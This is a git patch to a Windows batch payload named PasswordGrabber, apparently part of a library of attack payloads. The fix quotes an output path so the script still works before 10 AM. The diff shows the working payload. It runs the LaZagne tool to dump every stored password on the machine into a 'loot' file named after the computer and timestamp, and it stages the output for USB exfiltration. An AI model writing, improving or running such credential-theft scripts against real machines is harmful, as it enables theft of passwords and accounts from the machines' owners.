From 01dd281e4fb6ad7baf05a0a76cccc794b9f620bd Mon Sep 17 00:00:00 2001 From: James Coates Date: Tue, 12 Sep 2017 01:22:29 -0500 Subject: [PATCH] Update PasswordGrabber payload (#246) Fixed issue where script would not work before 10 AM, puts in a space which makes the path broken. --- payloads/library/credentials/PasswordGrabber/e.cmd | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/credentials/PasswordGrabber/e.cmd b/payloads/library/credentials/PasswordGrabber/e.cmd index 5f8d8d89..bcde067b 100644 --- a/payloads/library/credentials/PasswordGrabber/e.cmd +++ b/payloads/library/credentials/PasswordGrabber/e.cmd @@ -11,7 +11,7 @@ REM This executes LaZagne in the current directory and outputs the password file REM Time and Date is also added setlocal cd /d %~dp0 -%~dp0\laZagne.exe all > %~dp0\..\..\loot\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2%_passwords.txt +%~dp0\laZagne.exe all > "%~dp0\..\..\loot\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2%_passwords.txt" REM These lines if you just want Passwords and no files. set dst=%~dp0\..\..\loot\USB_Exfiltration\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2%